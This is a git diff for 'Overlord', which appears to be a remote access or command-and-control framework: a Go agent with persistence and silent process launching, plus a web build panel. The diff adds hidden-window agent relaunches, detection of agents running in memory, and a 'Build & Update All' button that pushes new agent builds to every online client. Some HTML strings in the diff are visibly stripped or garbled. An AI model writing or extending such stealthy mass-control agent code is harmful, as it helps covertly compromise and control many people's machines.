diff --git a/Overlord-Client/cmd/agent/handlers/agent_update.go b/Overlord-Client/cmd/agent/handlers/agent_update.go index 6f9972f..bf3ed52 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update.go @@ -17,7 +17,7 @@ import ( "overlord-client/cmd/agent/wire" ) -func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string) error { +func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, sourcePath string, expectedHash string, hideWindow bool) error { sourcePath = strings.TrimSpace(sourcePath) if sourcePath == "" { return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing update path"}) @@ -42,7 +42,7 @@ func HandleAgentUpdate(ctx context.Context, env *agentRuntime.Env, cmdID string, go func() { // Let the command_result flush before beginning process replacement. time.Sleep(250 * time.Millisecond) - if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence); err != nil { + if err := runAgentUpdate(sourceAbs, env.Cfg.EnablePersistence, hideWindow); err != nil { log.Printf("agent_update: %v", err) return } diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_unix.go b/Overlord-Client/cmd/agent/handlers/agent_update_unix.go index 97f1bb1..ac61b45 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update_unix.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update_unix.go @@ -16,7 +16,7 @@ func samePathByOS(left string, right string) bool { return filepath.Clean(left) == filepath.Clean(right) } -func runAgentUpdate(sourcePath string, enablePersistence bool) error { +func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error { currentExe, currentErr := resolveCurrentExecutableOnDisk() startupPath, startupEnabled, err := startupTargetPath(enablePersistence) if err != nil { diff --git a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go index 35ec478..f2f0782 100644 --- a/Overlord-Client/cmd/agent/handlers/agent_update_windows.go +++ b/Overlord-Client/cmd/agent/handlers/agent_update_windows.go @@ -21,14 +21,14 @@ func samePathByOS(left string, right string) bool { return strings.EqualFold(filepath.Clean(left), filepath.Clean(right)) } -func runAgentUpdate(sourcePath string, enablePersistence bool) error { +func runAgentUpdate(sourcePath string, enablePersistence bool, hideWindow bool) error { currentExe, currentErr := resolveCurrentExecutableOnDisk() startupPath, startupEnabled, err := startupTargetPath(enablePersistence) if err != nil { return err } - log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath) + log.Printf("agent_update[win]: source=%q persistence=%v currentExe=%q currentErr=%v startupEnabled=%v startupPath=%q hideWindow=%v", sourcePath, enablePersistence, currentExe, currentErr, startupEnabled, startupPath, hideWindow) if currentErr != nil && !startupEnabled { return currentErr @@ -65,7 +65,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error { if shouldLaunchUploadedBinaryDirectly(currentExe, startupEnabled) { log.Printf("agent_update[win]: current executable appears transient (%q), launching uploaded binary directly: %q", currentExe, sourcePath) - if err := startSilentProcess(sourcePath, nil, "", true); err != nil { + if err := startSilentProcess(sourcePath, nil, "", hideWindow); err != nil { return fmt.Errorf("failed to launch uploaded binary directly: %w", err) } return nil @@ -84,7 +84,7 @@ func runAgentUpdate(sourcePath string, enablePersistence bool) error { } _ = os.Remove(sourcePath) - if err := startSilentProcess(restartPath, nil, "", true); err != nil { + if err := startSilentProcess(restartPath, nil, "", hideWindow); err != nil { return fmt.Errorf("failed to launch updated agent: %w", err) } log.Printf("agent_update[win]: started updated executable directly: %q", restartPath) diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index ea7c170..e5761fe 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1747,7 +1747,8 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in payload, _ := envelope["payload"].(map[string]interface{}) path, _ := payload["path"].(string) hash, _ := payload["hash"].(string) - return HandleAgentUpdate(ctx, env, cmdID, path, hash) + hideWindow, _ := payload["hideWindow"].(bool) + return HandleAgentUpdate(ctx, env, cmdID, path, hash, hideWindow) case "process_list": return HandleProcessList(ctx, env, cmdID) case "process_kill": diff --git a/Overlord-Client/cmd/agent/session.go b/Overlord-Client/cmd/agent/session.go index 90b13ef..e9711ad 100644 --- a/Overlord-Client/cmd/agent/session.go +++ b/Overlord-Client/cmd/agent/session.go @@ -11,6 +11,7 @@ import ( "math/rand" "net/http" "os" + "path/filepath" "runtime" "runtime/debug" "strconv" @@ -29,6 +30,25 @@ import ( "nhooyr.io/websocket" ) +func isRunningInMemory() bool { + exePath, err := os.Executable() + if err != nil { + return true + } + if realPath, err := filepath.EvalSymlinks(exePath); err == nil { + exePath = realPath + } + absPath, err := filepath.Abs(exePath) + if err != nil { + return true + } + info, err := os.Stat(absPath) + if err != nil || !info.Mode().IsRegular() { + return true + } + return false +} + func runClient(cfg config.Config) { baseBackoff := computeBaseBackoff() backoff := baseBackoff @@ -481,6 +501,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket. BuildTag: cfg.BuildTag, PublicKey: publicKeyB64, Signature: signatureB64, + InMemory: isRunningInMemory(), } if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { diff --git a/Overlord-Client/cmd/agent/wire/protocol.go b/Overlord-Client/cmd/agent/wire/protocol.go index 404da2d..208d5ce 100644 --- a/Overlord-Client/cmd/agent/wire/protocol.go +++ b/Overlord-Client/cmd/agent/wire/protocol.go @@ -15,6 +15,7 @@ type Hello struct { BuildTag string `msgpack:"buildTag,omitempty"` PublicKey string `msgpack:"publicKey,omitempty"` Signature string `msgpack:"signature,omitempty"` + InMemory bool `msgpack:"inMemory,omitempty"` } type EnrollmentChallenge struct { diff --git a/Overlord-Server/public/assets/build.js b/Overlord-Server/public/assets/build.js index cec9cfa..ecffeca 100644 --- a/Overlord-Server/public/assets/build.js +++ b/Overlord-Server/public/assets/build.js @@ -666,6 +666,10 @@ async function startBuild(config) { buildBtn.disabled = true; buildBtn.innerHTML = ' Building...'; + if (buildUpdateAllBtn) { + buildUpdateAllBtn.disabled = true; + buildUpdateAllBtn.innerHTML = ' Building...'; + } buildStatus.classList.remove("hidden"); buildStatusText.textContent = "Starting build..."; @@ -712,11 +716,16 @@ async function startBuild(config) { buildStatus.querySelector("div").className = "flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60"; buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark"; + pendingUpdateAll = false; } finally { isBuilding = false; buildBtn.disabled = false; buildBtn.innerHTML = ' Start Build'; + if (buildUpdateAllBtn) { + buildUpdateAllBtn.disabled = false; + buildUpdateAllBtn.innerHTML = ' Build & Update All'; + } } } @@ -784,6 +793,12 @@ async function streamBuildOutput(buildId, config = {}) { buildResults.classList.remove("hidden"); displayBuild(buildData); + + // Auto-push update if "Build & Update All" was used + if (pendingUpdateAll) { + pendingUpdateAll = false; + await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow); + } } reader.cancel(); @@ -1219,3 +1234,147 @@ function showBuildFilesForContainer(build, containerId, timerId) { setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000); } } + +const buildUpdateAllBtn = document.getElementById("build-update-all-btn"); +const updateAllModal = document.getElementById("update-all-modal"); +const updateAllModalBody = document.getElementById("update-all-modal-body"); +const updateAllCancel = document.getElementById("update-all-cancel"); +const updateAllConfirm = document.getElementById("update-all-confirm"); + +let pendingUpdateAll = false; +let pendingUpdateHideWindow = false; + +function showUpdateAllModal() { + if (!updateAllModal) return; + updateAllModal.classList.remove("hidden"); + updateAllModal.classList.add("flex"); +} + +function hideUpdateAllModal() { + if (!updateAllModal) return; + updateAllModal.classList.remove("flex"); + updateAllModal.classList.add("hidden"); + if (updateAllConfirm) { + updateAllConfirm.innerHTML = ' Build & Update'; + updateAllConfirm.disabled = false; + } + if (updateAllCancel) { + updateAllCancel.textContent = "Cancel"; + } +} + +if (updateAllCancel) { + updateAllCancel.addEventListener("click", hideUpdateAllModal); +} + +if (updateAllModal) { + updateAllModal.addEventListener("click", (e) => { + if (e.target === updateAllModal) hideUpdateAllModal(); + }); +} + +if (buildUpdateAllBtn) { + buildUpdateAllBtn.addEventListener("click", async () => { + if (isBuilding) return; + + const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked'); + const platforms = Array.from(platformCheckboxes).map((cb) => cb.value); + if (platforms.length === 0) { + alert("Please select at least one platform to build"); + return; + } + + showUpdateAllModal(); + updateAllConfirm.disabled = true; + updateAllModalBody.innerHTML = '
Checking online clients...
'; + + try { + const res = await fetch("/api/build/update-eligible", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ platforms }), + }); + + if (!res.ok) { + const data = await res.json().catch(() => ({})); + updateAllModalBody.innerHTML = `${data.error || "Failed to check eligible clients"}
`; + return; + } + + const data = await res.json(); + let html = ""; + + html += `${data.eligible} client(s) will receive the update after build.
`; + html += '${data.totalOnline} total online client(s)
`; + if (data.skippedInMemory > 0) { + html += `${data.skippedInMemory} client(s) will be skipped (running in-memory)
`; + } + if (data.skippedNoMatch > 0) { + html += `${data.skippedNoMatch} client(s) will be skipped (no matching platform)
`; + } + html += "No clients are currently online. The build will still run but no updates will be sent.
'; + } + + html += 'This will build the client and push the update to all eligible clients. Clients will restart automatically.
'; + updateAllConfirm.disabled = false; + + updateAllModalBody.innerHTML = html; + } catch (err) { + updateAllModalBody.innerHTML = `Error: ${err.message}
`; + } + }); +} + +if (updateAllConfirm) { + updateAllConfirm.addEventListener("click", () => { + hideUpdateAllModal(); + pendingUpdateAll = true; + pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked; + form.requestSubmit(); + }); +} + +async function pushUpdateToAllClients(buildId, hideWindow) { + addBuildOutput("\nāā Pushing update to all eligible clients āā\n", "info"); + + try { + const res = await fetch("/api/build/update-all", { + method: "POST", + headers: { "Content-Type": "application/json" }, + credentials: "include", + body: JSON.stringify({ buildId, hideWindow }), + }); + + const data = await res.json().catch(() => ({})); + + if (!res.ok) { + addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error"); + return; + } + + const succeeded = data.successCount || 0; + const total = data.totalOnline || 0; + const failed = (data.results || []).filter((r) => !r.ok); + const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length; + const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length; + + addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success"); + if (inMemoryCount > 0) { + addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn"); + } + if (noMatchCount > 0) { + addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn"); + } + const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build"); + if (otherFailed.length > 0) { + addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn"); + } + } catch (err) { + addBuildOutput(`Update error: ${err.message}\n`, "error"); + } +} diff --git a/Overlord-Server/public/build.html b/Overlord-Server/public/build.html index c7447fa..4ed7c7c 100644 --- a/Overlord-Server/public/build.html +++ b/Overlord-Server/public/build.html @@ -512,11 +512,19 @@ - +